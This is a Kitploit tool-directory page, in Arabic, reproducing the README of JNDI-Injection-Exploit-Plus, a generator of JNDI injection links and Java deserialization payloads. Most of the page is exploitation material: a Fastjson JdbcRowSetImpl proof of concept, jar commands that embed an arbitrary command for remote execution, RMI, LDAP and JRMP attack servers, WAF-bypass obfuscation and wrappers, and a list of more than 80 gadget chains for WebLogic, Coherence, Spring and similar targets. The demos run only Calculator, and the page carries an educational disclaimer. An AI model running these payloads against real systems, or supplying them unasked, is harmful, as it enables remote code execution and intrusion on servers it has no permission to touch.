Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
JNDI-Injection-Exploit-Plus — يولد روابط حقن JNDI قابلة للعمل وحمولات إلغاء التسلسل مع أكثر من 80 أداة، مع دعم خوادم RMI وLDAP وHTTP لاختبار الثغرات الأمنية الآلي. | Kitploit
أدوات/GitHubGitHub/cckuailong/jndi-injection-exploit-plus
أطر الاستغلالتحليل الثغرات الأمنيةاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubcckuailong/jndi-injection-exploit-plus

JNDI-Injection-Exploit-Plus

يولد روابط حقن JNDI قابلة للعمل وحمولات إلغاء التسلسل مع أكثر من 80 أداة، مع دعم خوادم RMI وLDAP وHTTP لاختبار الثغرات الأمنية الآلي.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
880114منذ 2 سنواتتمت المراجعة من قبل Kitploit

JNDI-Injection-Exploit-Plus

中文 README

الوصف

JNDI-Injection-Exploit-Plus هي أداة لتوليد روابط JNDI قابلة للاستخدام وتوفير خدمات خلفية عن طريق بدء تشغيل خادم RMI وخادم LDAP وخادم HTTP.

باستخدام هذه الأداة، يمكنك الحصول على روابط JNDI، ويمكنك إدراج هذه الروابط في POC الخاص بك لاختبار الثغرة.

على سبيل المثال، هذا هو Fastjson vul-poc:

root@kitploit:~
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

يمكننا استبدال "rmi://127.0.0.1:1099/Object" بالرابط الذي تم إنشاؤه بواسطة JNDI-Injection-Exploit-Plus لاختبار الثغرة.

علاوة على ذلك، يمكنك أيضًا استخدام JNDI-Injection-Exploit-Plus لتوليد أنواع base64/hex من الحمولات مثل ysoserial

أكثر من JNDI-Injection-Exploit

إن JNDI-Injection-Exploit أداة رائعة، هذه هي النسخة المطورة منها.

المزيد

1. المزيد من أدوات JNDI Remote Reference: (الإجمالي: 3)

  • دعم JDK 6/7/8

2. المزيد من أدوات JNDI Local Reference: (الإجمالي: 4)

3. أداة Deserailization (الإجمالي: 75)

ملاحظة: المزيد من الأدوات (⬆️ ) من ysoserial، مرحبًا بالمزيد من PR! ^_^

4. توليد وتصدير الحمولات

مثل ysoserial.

يمكنك توليد حمولات إلغاء التسلسل مع إخراج من نوع Base64 أو HEX

5. الغلاف

بعض الأغلفة لتغليف بيانات إلغاء التسلسل.

الغلافأمثلة الثغرات
XstreamCVE-2021-39149
ApereoApereo 4.1 Deserialization RCE
JbossRemoting
  • مثال
root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

6. الدمج

إخفاء اسم الفئة لتجاوز WAF.

  • مثال
root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F

المرجع: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

خدمة الويب لإرجاع أدوات إلغاء التسلسل

root@kitploit:~
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar
root@kitploit:~
POST /deserial/{Gadget}

cmd={command}&wrapper={wrapper}output={base64/hex}

ملاحظة: المعاملات wrapper و output اختيارية

الاستخدام

روابط JNDI

شغّل كالتالي:

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]

حيث:

  • -C - الأمر الذي سيتم تنفيذه في ملف الفئة عن بُعد.

    (اختياري، الأمر الافتراضي هو "open /Applications/Calculator.app")

  • -A - عنوان الخادم الخاص بك، قد يكون عنوان IP أو نطاق.

    (اختياري، العنوان الافتراضي هو عنوان أول واجهة شبكة)

نقاط للانتباه:

  • تأكد من أن منافذ الخادم الخاص بك (1099، 1389، 8180) متاحة.

    أو يمكنك تغيير المنفذ الافتراضي في الفئة run.ServerStart.

  • يتم تمرير الأمر الخاص بك إلى Runtime.getRuntime().exec() كمعاملات،

    لذا يجب التأكد من أن الأمر الخاص بك قابل للعمل في الطريقة exec().

    الأوامر في bash مثل "bash -c ...." تحتاج إلى إضافة علامات اقتباس مزدوجة.

حمولات إلغاء التسلسل

شغّل كالتالي:

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]

حيث:

  • -C - الأمر الذي سيتم تنفيذه في ملف الفئة عن بُعد.

    (اختياري، الأمر الافتراضي هو "open /Applications/Calculator.app")

  • -D - اسم أداة (Gadget) إلغاء التسلسل.

  • -O - (اختياري) نوع إخراج إلغاء التسلسل، الافتراضي هو base64

استغلال إلغاء التسلسل

JRMP

  • JRMPListener
root@kitploit:~
java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
  • JRMPClient
root@kitploit:~
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64

أمثلة

روابط JNDI

عرض توضيحي محلي:

  1. قم بتشغيل الأداة بهذه الطريقة:

    root@kitploit:~
    $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
    

    لقطة الشاشة:

  2. افترض أننا حقنا روابط JNDI مثل rmi://ADDRESS/remoteExploit8 التي تم إنشاؤها في الخطوة 1 في تطبيق ضعيف يمكن مهاجمته عن طريق حقن JNDI.

    في هذا المثال، يبدو كالتالي:

    root@kitploit:~
    class Test{
        public static void main(String[] args) throws Exception{
            InitialContext ctx = new InitialContext();
            ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
        }
    }
    

    ثم عند تشغيل هذا الكود، سيتم تنفيذ الأمر،

    وسيتم طباعة السجل في shell:

لمزيد من الأمثلة: Test-JNDI-Injection-Exploit-Plus

حمولات إلغاء التسلسل

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

نتيجة إخراج Base64:

التثبيت

يمكننا اختيار إحدى الطريقتين للحصول على الـ jar.

  1. قم بتنزيل أحدث jar من Realease.

  2. استنساخ الكود المصدري محليًا وبنائه (يتطلب Java 1.8+ و Maven 3.x+).

    root@kitploit:~
    $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
    
    root@kitploit:~
    $ cd JNDI-Injection-Exploit-Plus
    
    root@kitploit:~
    $ mvn clean package -DskipTests
    

ملاحظة: ‼️ إذا تلقيت خطأ مثل "java.rmi.xxx does not exists"، فيجب عليك تعيين متغير البيئة JAVA_HOME.

إخلاء المسؤولية

جميع المعلومات والكود مقدمة لأغراض تعليمية و/أو اختبار أنظمتك الخاصة لهذه الثغرات.

تنزيل الأداة
الحمولةالمؤلفالتبعيات
Tomcat 8+ أو SpringBoot@welk1ntrustURLCodebase تكون false ولكن يوجد Tomcat 8+ أو SpringBoot 1.2.x+ في classpath
Groovy (GroovyClassLoader)@cckuailongtrustURLCodebase تكون false ولكن يوجد Tomcat و Groovy في classpath
Groovy (GroovyShell)@cckuailongtrustURLCodebase تكون false ولكن يوجد Tomcat و Groovy في classpath
Websphere Readfile@cckuailongtrustURLCodebase تكون false ولكن يوجد WebSphere v6-v9 في classpath
الحمولةالمؤلفالتبعيات
AspectJWeaver@Jangaspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1@pwntester, @cschneider4711bsh:2.0b5
C3P0@mbechlerc3p0:0.9.5.2, mchange-commons-java:0.2.11
C3P0Tomcat@yulegeyutomcat, com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11
Click1@artsploitclick-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure@JackOfMostTradesclojure:1.8.0
Coherence1 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence2 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence3 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence4 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
Coherence5 ⬆️@cckuailongcoherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
Coherence6 ⬆️@cckuailongcoherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
CommonsBeanutils1@frohoffcommons-beanutils:1.9.2
CommonsBeanutils2 ⬆️@cckuailongcommons-beanutils:1.9.2
CommonsCollections1@frohoffcommons-collections:3.1
CommonsCollections1_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections2@frohoffcommons-collections4:4.0
CommonsCollections2_1 ⬆️@cckuailongcommons-collections4:4.0
CommonsCollections3@frohoffcommons-collections:3.1
CommonsCollections3_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections4@frohoffcommons-collections4:4.0
CommonsCollections5@matthias_kaiser, @jasinnercommons-collections:3.1
CommonsCollections5_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6@matthias_kaisercommons-collections:3.1
CommonsCollections6_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6_2 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6_3 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections7@scristalli, @hanyrax, @EdoardoVignaticommons-collections:3.1
CommonsCollections7_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections8 ⬆️@cckuailongcommons-collections4:4.0
CommonsCollections9 ⬆️@cckuailongcommons-collections:3.2.1
CommonsCollections10 ⬆️@cckuailongcommons-collections:3.2.1
CommonsCollections11 ⬆️@cckuailongcommons-collections:3.1
FileUpload1@mbechlercommons-fileupload:1.3.1, commons-io:2.4
Groovy1@frohoffgroovy:2.3.9
Hibernate1@mbechler
Hibernate2@mbechler
Jackson ⬆️@y4ercom.fasterxml.jackson.core:jackson-databind:2.14.2
JBossInterceptors1@matthias_kaiserjavassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21@frohoff
JRMPClient1@mbechler
JRMPClient2 ⬆️@cckuailong
JRMPClient3 ⬆️@cckuailong
JRMPClient4 ⬆️@cckuailong
JRMPClient5 ⬆️@cckuailong
JRMPClient6 ⬆️@cckuailong
JRMPListener1@cckuailong
JSON1@mbechlerjson-lib🫙jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1@matthias_kaiserjavassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jython1@pwntester, @cschneider4711jython-standalone:2.5.2
MozillaRhino1@matthias_kaiserjs:1.7R2
MozillaRhino2@_tint0js:1.7R2
Myfaces1@mbechler
Myfaces2@mbechler
ROME1@mbechlerrome:1.0
ROME2 ⬆️@firebaskyrome:1.0
Scala1 ⬆️@jarijorg.scala-lang:scala-library:2.13.x
Spring1@frohoffspring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2@mbechlerspring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
Spring3 ⬆️@cckuailongspring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
URLDNS@gebljre فقط للكشف عن الثغرات
Vaadin1@kai_ullrichvaadin-server:7.7.14, vaadin-shared:7.7.14
Weblogic1 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic2 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic3 ⬆️@cckuailongcom.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager
Weblogic4 ⬆️@cckuailongweblogic.common.internal.WLObjectOutputStream
Weblogic5 ⬆️@cckuailongweblogic:12.2.1.4, coherence
Weblogic6 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic7 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic8 ⬆️@cckuailongweblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic9 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic10 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic11 ⬆️@cckuailongweblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Wicket1@jacob-baineswicket-util:6.23.0, slf4j-api:1.6.4
WildFly1 ⬆️@hugoworg.wildfly:wildfly-connector:26.0.1.Final
Jboss Remoting Port Unserialization
Gzipبعض واجهات yonyou تستخدم Gzip
Dirtyإدراج الكثير من البيانات القذرة لتجاوز WAF